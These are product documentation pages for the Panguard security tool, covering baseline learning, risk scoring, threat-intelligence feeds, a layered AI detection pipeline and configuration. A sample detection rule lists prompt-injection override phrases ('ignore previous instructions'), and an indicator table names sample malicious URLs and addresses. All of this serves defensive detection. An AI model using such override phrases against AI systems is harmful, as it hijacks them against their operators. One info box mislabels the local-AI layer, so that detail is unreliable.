    Fleet orchestration and centralized management.
  </Card>
</CardGroup>


# Learning Mode
Source: https://docs.panguard.ai/concepts/learning-mode

How Panguard Guard spends 7 days learning your system's normal behavior before activating protection.

# Learning Mode

Guard spends 7 days observing your system before it starts protecting it. This is not laziness -- it is how Panguard avoids the flood of false positives that makes most security tools useless.

## Why a Learning Period?

Traditional security tools start alerting the moment they are installed. The result:

* Legitimate cron jobs flagged as suspicious processes
* Internal services treated as anomalous connections
* Hundreds of alerts per day, nearly all false positives
* Users disable notifications, defeating the purpose of the tool

Panguard Guard spends 7 days observing what **normal looks like** on your system, then determines what is **abnormal**.

***

## What Happens During Learning

<Steps>
  <Step title="Days 1-3: Collect Baseline">
    Guard silently observes and records:

    * **Process baseline** -- Which programs normally run, their startup times, and resource usage
    * **Network baseline** -- Normal connection patterns, common ports, traffic characteristics
    * **File baseline** -- Change patterns in critical directories
    * **User baseline** -- Login times, source IPs, operational patterns
  </Step>

  <Step title="Days 4-7: Build Model">
    Guard analyzes the collected data:

    * Calculates normal behavior ranges (mean + standard deviation)
    * Identifies periodic patterns (daily backups, scheduled updates)
    * Marks known safe behaviors to prevent future false positives
  </Step>

  <Step title="Day 8+: Enter Protection Mode">
    Guard automatically transitions:

    * Switches to active protection mode
    * Behaviors deviating from the baseline trigger alerts
    * Continuous learning ensures the baseline evolves with your environment
  </Step>
</Steps>

***

## Learning Mode vs. Protection Mode

| Property          | Learning Mode                   | Protection Mode                    |
| ----------------- | ------------------------------- | ---------------------------------- |
| **Activation**    | Automatic after installation    | Automatic after 7 days             |
| **Alerts**        | None generated                  | Generated when baseline deviates   |
| **Auto-response** | Not executed                    | Executed based on confidence level |
| **Notifications** | Daily learning progress summary | Real-time threat notifications     |
| **AI analysis**   | Observation only                | Full three-layer funnel            |

***

## Checking Learning Progress

```bash theme={null}
panguard guard status
```

Example output during the learning period:

```
  -- Guard Status -----------------------

  Mode:       Learning (Day 3/7)
  Uptime:     3d 14h 22m
  Events:     12,847 observed
  Baseline:   42% complete
  Processes:  187 baselined
  Networks:   34 patterns learned
```

***

## Confidence-Based Response in Protection Mode

Once Guard enters protection mode, it uses confidence levels to decide how to respond:

| Confidence | Action                        | Example                                                |
| ---------- | ----------------------------- | ------------------------------------------------------ |
| > 90%      | Auto-execute response         | Known malicious IP -- automatically blocked            |
| 70-90%     | Ask for confirmation via Chat | Suspicious process -- asks if you want to terminate it |
| \< 70%     | Notify only, no action taken  | Minor anomaly -- informs you for observation           |

<Tip>
  This tiered approach ensures high-certainty threats are handled immediately, while uncertain
  situations are escalated to your judgment.
</Tip>

***

## Mode Transition Criteria

The transition from learning to protection mode is not purely time-based. Guard also evaluates:

* **Baseline confidence** -- Must reach a threshold (>= 0.7) indicating sufficient data
* **Minimum event count** -- Enough events must be observed to form a representative baseline
* **Pattern coverage** -- Process, network, login, and port patterns must all have data

<Info>
  If your system has very low activity, the learning period may extend beyond 7 days until the
  baseline confidence threshold is met.
</Info>

***

## Continuous Baseline Updates

Protection mode does not freeze the baseline. Guard continuously adapts:

* **24-hour pruning cycle** -- Stale patterns older than 30 days are removed
* **New patterns integrated** -- Legitimate new services or processes are gradually incorporated
* **Time-of-day awareness** -- Events during 0:00-5:59 receive a confidence boost (unusual activity window)

***

## Resetting the Learning Period

If your system undergoes major changes (server migration, large-scale service deployment), you can reset the learning period:

```bash theme={null}
panguard guard stop
# Clear baseline files in the data directory
panguard guard start
```

Guard will re-enter the 7-day learning mode and build a fresh baseline.

<Warning>
  Resetting clears all learned patterns. Guard will not generate alerts or auto-respond until the
  new learning period completes.
</Warning>

***

## Related

<CardGroup>
  <Card title="Three-Layer AI Funnel" icon="brain-circuit" href="/concepts/three-layer-ai">
    How the rule engine, local AI, and cloud AI work together.
  </Card>

  <Card title="Security Score" icon="chart-bar" href="/concepts/security-score">
    The 0-100 scoring system that summarizes your security posture.
  </Card>
</CardGroup>


# Security Score
Source: https://docs.panguard.ai/concepts/security-score

How Panguard calculates your system's risk score from 0-100 with letter grades A through F.

# Security Score

A single 0-100 number that tells you exactly where your system's security stands. Every scan and every Guard status check returns this score alongside a letter grade.

```
  Score: 85/100 [=================---] Grade: B
```

***

## Grade Scale

| Score  | Grade | Meaning                                        |
| ------ | ----- | ---------------------------------------------- |
| 90-100 | **A** | Excellent -- protection is comprehensive       |
| 80-89  | **B** | Good -- minor improvements possible            |
| 70-79  | **C** | Fair -- address medium-risk issues             |
| 60-69  | **D** | Needs improvement -- significant risks present |
| 0-59   | **F** | Critical -- immediate action required          |

***

## Scoring Factors

The security score is a weighted composite of 8 factors, each independently scored 0-100:

| Factor                 | Weight | What It Measures                                  |
| ---------------------- | ------ | ------------------------------------------------- |
| **Open Ports**         | 15%    | Are unnecessary ports exposed to the network?     |
| **Firewall**           | 15%    | Is the firewall enabled with comprehensive rules? |
| **System Updates**     | 15%    | Are OS and software packages up to date?          |
| **Threat Status**      | 15%    | Are there known active threats on the system?     |
| **Password Policy**    | 10%    | Is password complexity enforced?                  |
| **Security Tools**     | 10%    | Are antivirus, EDR, or IDS tools installed?       |
| **Compliance**         | 10%    | Does the system meet basic security frameworks?   |
| **Response Readiness** | 10%    | Are threat response mechanisms in place?          |

### Calculation

```
Total = (Ports x 0.15) + (Firewall x 0.15) + (Updates x 0.15) +
        (Threats x 0.15) + (Password x 0.10) + (Tools x 0.10) +
        (Compliance x 0.10) + (Response x 0.10)
```

<Info>
  Each factor is independently scored 0-100. The weighted sum produces the final composite score.
</Info>

***

## Quick Scan vs Full Scan

The depth of the scan affects how many factors are evaluated:

| Scan Mode               | Duration     | Factors Evaluated                                                  | Use Case            |
| ----------------------- | ------------ | ------------------------------------------------------------------ | ------------------- |
| `panguard scan --quick` | \~30 seconds | Open ports, firewall, password policy, running services            | Fast daily check    |
| `panguard scan`         | \~60 seconds | All 8 factors including SSL certs, scheduled tasks, shared folders | Comprehensive audit |

<Tip>
  A quick scan may produce a slightly different score than a full scan because it evaluates fewer
  factors. For the most accurate score, run a full scan.
</Tip>

***

## Score Breakdown Example

After running a scan, Panguard displays a detailed breakdown:

```
  -- Risk Score ----------------------------

  Score: 72/100 [==================--] Grade: C
  Trend: improving (+5 since last scan)

  Breakdown:
    Firewall:    80/100
    Open Ports:  60/100
    Passwords:   50/100
    Updates:     90/100
    Tools:       70/100
    Threats:     85/100
    Compliance:  65/100
    Response:    70/100
```

***

## Continuous Score Updates with Guard

When Guard is running, the security score is recalculated continuously as conditions change:

* A new port opens -- the Open Ports factor drops, score decreases
* A threat is detected and auto-blocked -- the Threat Status factor updates
* Guard has been running for 7+ days -- the Response Readiness factor improves

```bash theme={null}
panguard guard status
```

```
  -- Security Score -----------------------

  Score: 88/100 [===================] Grade: B
  Trend: stable (no change in 48h)
  Guard uptime: 14 days
```

<Note>
  Guard's continuous monitoring provides a more accurate and current score than periodic scans
  alone. The score updates in near real-time as your system's security posture changes.
</Note>

***

## Trend Tracking

The security score tracks changes over time:

| Trend         | Condition                                     | Meaning                            |
| ------------- | --------------------------------------------- | ---------------------------------- |
| **Improving** | Score increased by 2+ points since last check | Security posture is getting better |
| **Declining** | Score decreased by 2+ points since last check | Security posture is degrading      |
| **Stable**    | Change within 2 points                        | Security posture is steady         |

<Warning>
  A declining trend should trigger investigation even if the absolute score is still acceptable.
  Small drops often precede larger issues.
</Warning>

***

## PDF Reports

The security score is a central element of generated PDF reports:

* **Score and grade** displayed prominently on the first page
* **Factor breakdown** with individual scores per category
* **Remediation recommendations** prioritized by impact on score
* **Trend graph** showing score changes over time (when historical data is available)

```bash theme={null}
panguard scan --output my-report.pdf
```

***

## Where to View Your Score

<AccordionGroup>
  <Accordion title="Panguard Scan">
    Every scan displays the security score at completion:

    ```bash theme={null}
    panguard scan
    ```
  </Accordion>

  <Accordion title="Panguard Guard">
    Guard continuously calculates a real-time score. View it with:

    ```bash theme={null}
    panguard guard status
    ```
  </Accordion>

  <Accordion title="Panguard Status">
    Quick overview of the current score:

    ```bash theme={null}
    panguard status
    ```
  </Accordion>
</AccordionGroup>

***

## Improving Your Score

<Steps>
  <Step title="Run a full scan">
    Start with `panguard scan` to get your current score and see the factor breakdown.
  </Step>

  <Step title="Address critical findings first">
    Focus on CRITICAL and HIGH severity findings. These have the largest impact on your score.
  </Step>

  <Step title="Enable Guard">
    Running Guard continuously improves your Response Readiness and Threat Status factors.
  </Step>

  <Step title="Rescan to verify">
    Run another scan after making changes to confirm your score has improved.
  </Step>
</Steps>

***

## Related

<CardGroup>
  <Card title="Your First Scan" icon="magnifying-glass" href="/guides/first-scan">
    Step-by-step guide to running your first security scan.
  </Card>

  <Card title="Learning Mode" icon="graduation-cap" href="/concepts/learning-mode">
    How Guard builds a behavioral baseline during the 7-day learning period.
  </Card>
</CardGroup>


# Threat Intelligence
Source: https://docs.panguard.ai/concepts/threat-intelligence

Real-time threat intelligence feeds and the Threat Cloud collective intelligence network.

# Threat Intelligence

Threat intelligence provides structured information about known attackers, malicious IPs, domains, URLs, and malware signatures. Panguard automatically queries these databases to determine whether activity on your system is linked to known threats.

<Info>
  You do not need to understand the technical details. Guard handles the queries automatically, and
  Chat explains the results in plain language.
</Info>

***

## 5 Built-in Threat Intelligence Feeds

### abuse.ch Suite

| Source                                         | Indicator Types       | Description                                                             |
| ---------------------------------------------- | --------------------- | ----------------------------------------------------------------------- |
| [ThreatFox](https://threatfox.abuse.ch)        | IP, domain, URL, hash | Database of indicators of compromise (IoCs) linked to malware campaigns |
| [URLhaus](https://urlhaus.abuse.ch)            | URL                   | Database of malware distribution URLs                                   |
| [Feodo Tracker](https://feodotracker.abuse.ch) | IP                    | Botnet Command and Control (C2) server tracking                         |

### Additional Sources

| Source                             | Indicator Types | Description                                                      |
| ---------------------------------- | --------------- | ---------------------------------------------------------------- |
| [GreyNoise](https://greynoise.io)  | IP              | Distinguishes targeted attacks from mass internet scanning       |
| [AbuseIPDB](https://abuseipdb.com) | IP              | Community-reported malicious IP database with confidence scoring |

***

## Feed Update Schedule

| Feed          | Update Frequency    | Query Type     |
| ------------- | ------------------- | -------------- |
| ThreatFox     | Every hour          | Cached locally |
| URLhaus       | Every hour          | Cached locally |
| Feodo Tracker | Every hour          | Cached locally |
| GreyNoise     | Real-time per query | API call       |
| AbuseIPDB     | Real-time per query | API call       |

<Tip>
  The 1-hour update interval is configurable. For bandwidth-constrained systems, increase it to 6 or
  24 hours.
</Tip>

### Local Caching

Query results are cached locally to avoid redundant lookups:

* Cache duration: 1-24 hours depending on the source
* Cache location: Guard data directory
* Expired entries are cleaned up automatically

***

## Indicators of Compromise (IoCs)

Threat intelligence tracks the following types of indicators:

| Type           | Description                   | Example                       |
| -------------- | ----------------------------- | ----------------------------- |
| **IP Address** | Known malicious IP            | `203.0.113.50`                |
| **Domain**     | Malicious domain name         | `malware.example.com`         |
| **URL**        | Malicious URL                 | `http://evil.com/payload.exe` |
| **File Hash**  | Malware fingerprint (SHA-256) | `e3b0c44298fc1c149a...`       |
| **Email**      | Phishing email address        | `phish@attacker.com`          |

### Automatic Querying

Guard automatically queries threat intelligence when it detects suspicious activity:

```
Suspicious IP 203.0.113.50 connection detected
       |
       v
  Query ThreatFox  -> Known C2 server
  Query AbuseIPDB  -> Reported 1,247 times
  Query GreyNoise  -> Mass scanner
       |
       v
  Conclusion: High risk -- auto-block + notify
```

***

## Threat Cloud -- Collective Intelligence

Beyond public feeds, Panguard users contribute to and benefit from the Threat Cloud, a community-driven collective intelligence network focused on ATR (Agent Threat Rules) consensus.

### The Crystallization Flywheel

Threat Cloud's core value proposition is the crystallization flywheel -- a self-reinforcing loop where individual scan findings are refined into community-confirmed detection rules:

```
  Scan skill ──> Findings ──> TC proposal ──> Consensus (3+ confirmations) ──> Confirmed rule
       ^                                                                              |
       └──────────────── Distributed to all scanners ────────────────────────────────┘
```

Each cycle strengthens the network:

1. **Scan** -- Any Panguard scanner (CLI, Website, or Guard) scans an MCP skill
2. **Propose** -- High-severity findings generate an ATR proposal identified by a pattern hash
3. **Confirm** -- Other scanners encountering the same pattern hash confirm the proposal
4. **Promote** -- At 3+ independent confirmations, the proposal is auto-promoted to a confirmed rule
5. **Distribute** -- Confirmed rules are served via `GET /api/atr-rules` to all scanners
6. **Strengthen** -- Scanners load new rules, improving detection, generating more proposals

The pattern hash uses the format `scan:{skillName}:{findingSummary}`, SHA-256 truncated to 16 hex characters. Because all scanners use the same `@panguard-ai/scan-core` library, they produce identical hashes for the same threat pattern regardless of whether the scan originated from CLI, Website, or Guard.

### LLM Reviewer

Threat Cloud includes an automated LLM reviewer (Claude Sonnet 4) that evaluates ATR proposals for false positive risk, coverage, detection specificity, and YAML validity. Proposals can be promoted through community consensus alone (3+ confirmations) or through LLM approval combined with community confirmation.

### IoC Feeds

Threat Cloud also distributes traditional IoC feeds (IP blocklists, domain blocklists) and maintains a community skill blacklist. These complement the ATR rule pipeline for network-level threat indicators.

***

## Privacy and Data Protection

<Warning>
  **Privacy guarantee:** Only threat indicators (IPs, hashes, patterns) are uploaded. No system
  information, usernames, internal IPs, file contents, or personally identifiable information is
  ever shared.
</Warning>

| Privacy Measure       | Details                                                         |
| --------------------- | --------------------------------------------------------------- |
| **IP anonymization**  | Source IPs are /16-anonymized before upload                     |
| **GDPR compliance**   | No personal data is collected or stored                         |
| **Zero raw data**     | No log content, file content, or system details are transmitted |
| **Zero telemetry**    | No usage analytics, crash reports, or behavioral tracking       |
| **Opt-out available** | Threat Cloud can be fully disabled                              |

***

## Offline Mode

Panguard works fully offline. When threat intelligence feeds are unreachable:

* Layer 1 rule engine continues operating with locally cached rules
* Previously cached feed data remains available until expiration
* New detections rely on ATR rules and behavioral baselines only
* Score adjustments reflect reduced intelligence coverage

```bash theme={null}
# Disable all external intelligence (rules-only mode)
panguard guard start --offline
```

<Note>
  Offline mode disables Threat Cloud participation and real-time feed queries. Cached data is still
  used until it expires.
</Note>

***

## Viewing Threat Intelligence

### Guard Status

```bash theme={null}
panguard guard status
```

```
  -- Threat Intelligence --------------------

  Feeds:        5 active, last update 2h ago
  IoC matched:  3 in last 24h
  Blocked IPs:  12 total
```

### Chat Notifications

When threat intelligence matches activity on your system, Chat notifies you in a format tailored to your user role:

<Tabs>
  <Tab title="Boss Role">
    ```
    [Panguard AI Security Alert]

    Your server was communicating with a known malicious server.
    That IP has been reported 1,247 times globally.
    The connection has been automatically blocked. No action needed.

    Risk level: High
    Status: Automatically resolved
    ```
  </Tab>

  <Tab title="Developer Role">
    ```
    [Panguard AI Alert]

    Threat Intel Match: 203.0.113.50
    Source: AbuseIPDB (confidence: 98%), ThreatFox (tag: C2)
    Process: curl (PID 5678) -> 203.0.113.50:443
    Action: IP blocked via iptables
    Rule: atr/network/c2-communication.yml
    ```
  </Tab>

  <Tab title="IT Admin Role">
    ```
    [Panguard AI - Remediation Guide]

    Event: Communication with known C2 server detected
    Severity: High
    Action taken: Auto-blocked IP 203.0.113.50

    Recommended next steps:
    1. Check if process curl (PID 5678) is legitimate
    2. If not, terminate: kill -9 5678
    3. Check for other processes connecting to the same IP
    4. Run a system scan: panguard scan
    ```
  </Tab>
</Tabs>

***

## Related

<CardGroup>
  <Card title="Threat Cloud Deployment" icon="cloud" href="/guides/threat-cloud-deployment">
    Deploy your own private Threat Cloud server.
  </Card>

  <Card title="Three-Layer AI Funnel" icon="brain-circuit" href="/concepts/three-layer-ai">
    How threat intelligence integrates with the detection pipeline.
  </Card>
</CardGroup>


# Three-Layer AI Funnel
Source: https://docs.panguard.ai/concepts/three-layer-ai

How Panguard processes 90% of security events in under 1ms using a cascading Rules, Local AI, and Cloud AI architecture.

# Three-Layer AI Funnel

Panguard AI uses a three-layer cascading architecture to analyze security events. 90% of events are handled by the rule engine in under 1 millisecond. Only the most complex 3% ever reach cloud AI.

## Why Three Layers?

Sending every security event to an AI model creates three problems:

1. **Too slow** -- AI inference takes seconds; attacks do not wait.
2. **Too expensive** -- Thousands of events per machine per day means runaway token costs.
3. **Unreliable** -- If the API goes down, protection stops.

The three-layer funnel is built on a simple principle: **most attacks follow known patterns. Only truly unknown threats require deep AI reasoning.**

***

## Architecture Overview

```
  Security Events
       |
       v
  +-----------+
  | Layer 1   |  ATR Rule Engine
  | 90% events|  Latency < 1ms | Cost = $0
  +-----------+
       |
    Unmatched (10%)
       |
       v
  +-----------+
  | Layer 2   |  Local AI (Ollama)
  | 7% events |  Latency < 5s  | Cost = $0 (on-device)
  +-----------+
       |
    Needs deeper analysis (3%)
       |
       v
  +-----------+
  | Layer 3   |  Cloud AI (Claude / OpenAI)
  | 3% events |  Latency < 30s | Cost ~ $0.01/event
  +-----------+
```

***

## Layer Comparison

| Property             | Layer 1: Rules        | Layer 2: Local AI    | Layer 3: Cloud AI      |
| -------------------- | --------------------- | -------------------- | ---------------------- |
| **Event share**      | \~90%                 | \~7%                 | \~3%                   |
| **Latency**          | \< 1 ms               | \< 5 s               | \< 30 s                |
| **Cost per event**   | \$0                   | \$0                  | \~\$0.01               |
| **Requires network** | No                    | No                   | Yes                    |
| **Technology**       | ATR Rules             | Ollama (llama3)      | Claude / OpenAI        |
| **Best for**         | Known attack patterns | Behavioral anomalies | Novel, complex threats |

***

<h2>
  Layer 1 -- Rule Engine (90%)
</h2>

Handles all known attack patterns with zero latency and zero cost.

### ATR Rules

ATR (Agent Threat Rules) is the open standard for AI agent threat detection. Panguard Guard ships with 768 ATR rules covering common AI agent attack patterns.

```yaml ATR Rule Example theme={null}
id: ATR-2025-0001
name: Prompt Injection via Tool Response
severity: critical
detection:
  patterns:
    - 'ignore previous instructions'
    - 'system prompt override'
  context: tool_response
action: block
```

**Supported ATR features:**

* Pattern matching with regex support
* Context-aware detection (tool responses, skill manifests, agent actions)
* Multi-layer detection: regex, content fingerprinting, LLM-as-judge
* Severity levels: critical, high, medium, low
* MITRE ATT\&CK mapping for AI agent threats

***

<h2>
  Layer 2 -- Local AI (7%)
</h2>

When an event does not match any known rule but exhibits suspicious behavior, it is forwarded to a local AI model for analysis.

* Runs locally via [Ollama](https://ollama.ai) -- no network required
* Zero API cost
* Inference latency approximately 3-5 seconds
* Default model: `llama3`

<Info>
  **Environment-aware routing:** On servers (VPS, cloud instances), events flow through all three
  layers. On desktops and laptops, Layer 2 is skipped to avoid competing for user resources.
  Unmatched events go directly from Layer 1 to Layer 3.
</Info>

```
Server:  Layer 1 (90%) -> Layer 2 (7%) -> Layer 3 (3%)
Desktop: Layer 1 (90%) -> Layer 3 (5-8%)  (Layer 2 skipped)
```

***

<h2>
  Layer 3 -- Cloud AI (3%)
</h2>

The most complex unknown threats are analyzed by cloud AI with full dynamic reasoning.

* Complete context analysis
* Cross-event correlation
* Attack chain reasoning with MITRE ATT\&CK classification
* Remediation recommendation generation

<Note>
  Even if cloud AI is unavailable (network outage, token exhaustion), the Layer 1 rule engine
  continues operating. **Protection never stops.**
</Note>

***

## Graceful Degradation

A critical design principle of the three-layer architecture: if any layer fails, the layer above it takes over automatically.

| Scenario             | Degradation Behavior             |
| -------------------- | -------------------------------- |
| Cloud AI unavailable | Layer 2 (Local AI) takes over    |
| Ollama not installed | Layer 1 (Rule Engine) takes over |
| Rule files corrupted | Built-in default rules activate  |

**Panguard always has protection -- only the precision level changes.**

### Confidence Weighting by Available Sources

The system dynamically adjusts how much weight each evidence source carries based on what is available:

| Sources Available | Rules/Intel | Baseline | AI   | eBPF |
| ----------------- | ----------- | -------- | ---- | ---- |
| Rules only        | 0.60        | 0.40     | --   | --   |
| Rules + AI        | 0.40        | 0.30     | 0.30 | --   |
| Rules + eBPF      | 0.40        | 0.35     | --   | 0.25 |
| Rules + AI + eBPF | 0.30        | 0.20     | 0.30 | 0.20 |

***

## FunnelRouter

The `FunnelRouter` component in `@panguard-ai/core` implements the Layer 2 to Layer 3 fallback logic:

<Steps>
  <Step title="Try Local AI First">Send the event to Ollama for local analysis.</Step>

  <Step title="Evaluate Confidence">
    If Ollama returns a confident verdict, use it. If Ollama is unavailable or returns low
    confidence, escalate.
  </Step>

  <Step title="Fall Back to Cloud AI">
    Send the event to Claude or OpenAI for deep reasoning and MITRE classification.
  </Step>

  <Step title="Final Fallback">
    If no AI provider is available, the system continues with rule-based scoring only (weights shift
    to 0.6 rules + 0.4 baseline).
  </Step>
</Steps>

**Provider Auto-Detection** (at startup):

1. Check `~/.panguard/llm.enc` (encrypted local config, AES-256-GCM)
2. Check environment variables: `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`
3. Probe local Ollama at `http://localhost:11434`
4. Build the appropriate adapter: FunnelRouter (both available), single provider, or null

***

## Related

<CardGroup>
  <Card title="Learning Mode" icon="graduation-cap" href="/concepts/learning-mode">
    How Guard builds a behavioral baseline during the 7-day learning period.
  </Card>

  <Card title="Real-Time Protection" icon="shield" href="/guides/real-time-protection">
    Set up Guard for continuous monitoring and automated response.
  </Card>
</CardGroup>


# Environment Variables
Source: https://docs.panguard.ai/configuration/environment-variables

Complete reference for all environment variables across Panguard services.

Environment variables configure Panguard services at startup. Set them in your shell profile, `.env` file, or container orchestration system.

## Panguard Guard

| Variable             | Default                  | Description                                                    |
| -------------------- | ------------------------ | -------------------------------------------------------------- |
| `PANGUARD_DATA_DIR`  | `~/.panguard-guard`      | Base directory for Guard data, rules, and logs                 |
| `PANGUARD_MODE`      | `protect`                | Operating mode: `learning`, `detect`, `protect`                |
| `OLLAMA_ENDPOINT`    | `http://localhost:11434` | Ollama API endpoint for local AI analysis                      |
| `ANTHROPIC_API_KEY`  | --                       | Anthropic API key for Claude-based analysis (Layer 2/3)        |
| `OPENAI_API_KEY`     | --                       | OpenAI API key for GPT-based analysis (Layer 2/3)              |
| `ABUSEIPDB_KEY`      | --                       | AbuseIPDB API key for IP reputation lookups                    |
| `PANGUARD_LOG_LEVEL` | `info`                   | Log level: `debug`, `info`, `warn`, `error`                    |
| `PANGUARD_LANG`      | `en`                     | Language for CLI output and notifications: `en`, `zh-TW`, `ja` |

<CodeGroup>
  ```bash Linux / macOS theme={null}
  export PANGUARD_DATA_DIR=~/.panguard-guard
  export PANGUARD_MODE=protect
  export PANGUARD_LOG_LEVEL=info
  export PANGUARD_LANG=en

  # AI providers (at least one recommended)
  export OLLAMA_ENDPOINT=http://localhost:11434
  export ANTHROPIC_API_KEY=sk-ant-...
  export OPENAI_API_KEY=sk-...

  # Optional
  export ABUSEIPDB_KEY=your-key-here
  ```

  ```powershell Windows theme={null}
  $env:PANGUARD_DATA_DIR = "$HOME\.panguard-guard"
  $env:PANGUARD_MODE = "protect"
  $env:PANGUARD_LOG_LEVEL = "info"
  $env:PANGUARD_LANG = "en"

  # AI providers
  $env:OLLAMA_ENDPOINT = "http://localhost:11434"
  $env:ANTHROPIC_API_KEY = "sk-ant-..."
  ```
</CodeGroup>

<Info>
  Guard uses a three-layer AI system. At minimum, configure `OLLAMA_ENDPOINT` for local analysis (Layer 1). Add `ANTHROPIC_API_KEY` or `OPENAI_API_KEY` for cloud-based analysis (Layer 2/3).
</Info>

***

## Panguard Threat Cloud

| Variable                 | Default                  | Description                              |
| ------------------------ | ------------------------ | ---------------------------------------- |
| `TC_API_KEYS`            | --                       | Comma-separated list of valid API keys   |
| `TC_PORT`                | `4000`                   | HTTP port for the Threat Cloud API       |
| `TC_DB_PATH`             | `./data/threat-cloud.db` | SQLite database file path                |
| `ALLOW_ANONYMOUS_UPLOAD` | `false`                  | Allow unauthenticated threat submissions |

<CodeGroup>
  ```bash Linux / macOS theme={null}
  export TC_API_KEYS=key1,key2,key3
  export TC_PORT=4000
  export TC_DB_PATH=/var/lib/panguard/threat-cloud.db
  export ALLOW_ANONYMOUS_UPLOAD=false
  ```
</CodeGroup>

<Info>
  `ALLOW_ANONYMOUS_UPLOAD=true` enables users to submit threat data without an API key. Uploaded data still goes through validation and reputation scoring.
</Info>

***

## Docker / Production

| Variable   | Default       | Description                                    |
| ---------- | ------------- | ---------------------------------------------- |
| `NODE_ENV` | `development` | Set to `production` for production deployments |

Setting `NODE_ENV=production`:

* Disables debug logging and stack traces in error responses
* Enables response compression
* Enables stricter security headers
* Disables development-only routes

<CodeGroup>
  ```yaml docker-compose.yml theme={null}
  services:
    threat-cloud:
      image: panguard/threat-cloud
      environment:
        - NODE_ENV=production
        - TC_PORT=4000
        - TC_API_KEYS=${TC_API_KEYS}
        - TC_DB_PATH=/data/threat-cloud.db
      volumes:
        - tc-data:/data
  ```
</CodeGroup>

## Precedence

Environment variables take precedence over configuration file values. The resolution order is:

1. Environment variables (highest priority)
2. Configuration file values (`config.json`)
3. Built-in defaults (lowest priority)

<Tip>
  For local development, create a `.env` file in the service directory and use a tool like `dotenv` to load it. Never commit `.env` files to version control.
</Tip>


# Guard Configuration
Source: https://docs.panguard.ai/configuration/guard-config

Complete reference for the Panguard Guard configuration file.

Panguard Guard is configured via a JSON file located at `~/.panguard-guard/config.json`. This file is created automatically during `panguard guard start` with sensible defaults, or you can create it manually.

## Configuration File Location

```
~/.panguard-guard/config.json
```

## Full Configuration Example

```json theme={null}
{
  "mode": "protect",
  "learningDays": 7,
  "monitoring": {
    "networkConnections": true,
    "fileIntegrity": true,
    "processActivity": true,
    "authLogs": true,
    "systemLogs": true,
    "kernelModules": true,
    "cronJobs": true,
    "dockerEvents": false
  },
  "rules": {
    "rulesDir": "~/.panguard-guard/rules",
    "customRulesEnabled": true,
    "autoUpdate": true,
    "updateInterval": "24h"
  },
  "response": {
    "enabled": true,
    "autoBlock": true,
    "blockDuration": "24h",
    "minConfidence": 0.85,
    "actions": ["block_ip", "kill_process", "quarantine_file"],
    "requireApproval": false,
    "whitelistedIps": [],
    "whitelistedProcesses": []
  },
  "threatIntel": {
    "enabled": true,
    "endpoint": "https://tc.panguard.ai",
    "uploadEnabled": true,
    "downloadInterval": "1h",
    "abuseIpDbEnabled": false
  },
  "dashboard": {
    "enabled": true,
    "port": 9090,
    "bindAddress": "127.0.0.1"
  },
  "notification": {
    "enabled": true,
    "channels": ["telegram"],
    "minSeverity": "medium",
    "cooldownMinutes": 15
  },
  "auth": {
    "managerEndpoint": "https://localhost:8443",
    "heartbeatInterval": 60,
    "token": null
  }
}
```

## Configuration Sections

### mode

<ParamField type="string">
  Operating mode for Guard.
</ParamField>

| Value      | Description                                                                                 |
| ---------- | ------------------------------------------------------------------------------------------- |
| `learning` | Observe-only mode. Establishes behavioral baselines without triggering alerts or responses. |
| `detect`   | Monitors and alerts on anomalies but does not take automated response actions.              |
| `protect`  | Full protection mode. Monitors, alerts, and executes automated responses.                   |

<Info>
  New installations start in `learning` mode for the configured `learningDays` period, then
  automatically transition to `protect` mode.
</Info>

### learningDays

<ParamField type="number">
  Number of days to remain in learning mode before transitioning to the configured `mode`. Range:
  1--30.
</ParamField>

### monitoring

Controls which system activities Guard monitors.

| Field                | Type    | Default | Description                                               |
| -------------------- | ------- | ------- | --------------------------------------------------------- |
| `networkConnections` | boolean | `true`  | Monitor inbound/outbound network connections              |
| `fileIntegrity`      | boolean | `true`  | Watch critical system files for unauthorized changes      |
| `processActivity`    | boolean | `true`  | Track process creation, termination, and anomalies        |
| `authLogs`           | boolean | `true`  | Monitor authentication attempts (SSH, sudo, etc.)         |
| `systemLogs`         | boolean | `true`  | Analyze system logs (syslog, journald, Windows Event Log) |
| `kernelModules`      | boolean | `true`  | Detect kernel module loading/unloading                    |
| `cronJobs`           | boolean | `true`  | Watch for cron/scheduled task modifications               |
| `dockerEvents`       | boolean | `false` | Monitor Docker container events (requires Docker)         |

### rules

Detection rule configuration.

| Field                | Type    | Default                   | Description                                  |
| -------------------- | ------- | ------------------------- | -------------------------------------------- |
| `rulesDir`           | string  | `~/.panguard-guard/rules` | Directory containing ATR rules               |
| `customRulesEnabled` | boolean | `true`                    | Load custom rules from subdirectories        |
| `autoUpdate`         | boolean | `true`                    | Automatically update rules from Threat Cloud |
| `updateInterval`     | string  | `24h`                     | How often to check for rule updates          |

### response

Automated response configuration.

| Field                  | Type      | Default                                           | Description                                                     |
| ---------------------- | --------- | ------------------------------------------------- | --------------------------------------------------------------- |
| `enabled`              | boolean   | `true`                                            | Enable automated response actions                               |
| `autoBlock`            | boolean   | `true`                                            | Automatically block malicious IPs                               |
| `blockDuration`        | string    | `24h`                                             | Duration for IP blocks (`1h`, `24h`, `7d`, `permanent`)         |
| `minConfidence`        | number    | `0.85`                                            | Minimum AI confidence score to trigger auto-response (0.0--1.0) |
| `actions`              | string\[] | `["block_ip", "kill_process", "quarantine_file"]` | Allowed response actions                                        |
| `requireApproval`      | boolean   | `false`                                           | Require user approval before executing responses                |
| `whitelistedIps`       | string\[] | `[]`                                              | IPs that should never be blocked                                |
| `whitelistedProcesses` | string\[] | `[]`                                              | Processes that should never be killed                           |

<Warning>
  Setting `minConfidence` below `0.7` may cause false positive responses. The default of `0.85`
  provides a good balance between protection and accuracy.
</Warning>

### threatIntel

Threat Cloud integration settings.

| Field              | Type    | Default                  | Description                                         |
| ------------------ | ------- | ------------------------ | --------------------------------------------------- |
| `enabled`          | boolean | `true`                   | Enable Threat Cloud integration                     |
| `endpoint`         | string  | `https://tc.panguard.ai` | Threat Cloud API endpoint                           |
| `uploadEnabled`    | boolean | `true`                   | Upload detected threats to Threat Cloud             |
| `downloadInterval` | string  | `1h`                     | How often to download updated IoC feeds             |
| `abuseIpDbEnabled` | boolean | `false`                  | Enable AbuseIPDB lookups (requires `ABUSEIPDB_KEY`) |

### dashboard

Optional local web UI settings.

| Field         | Type    | Default     | Description                                    |
| ------------- | ------- | ----------- | ---------------------------------------------- |
| `enabled`     | boolean | `true`      | Enable the local web dashboard                 |
| `port`        | number  | `9090`      | Dashboard HTTP port                            |
| `bindAddress` | string  | `127.0.0.1` | Bind address (use `0.0.0.0` for remote access) |

### notification

Alert notification settings.

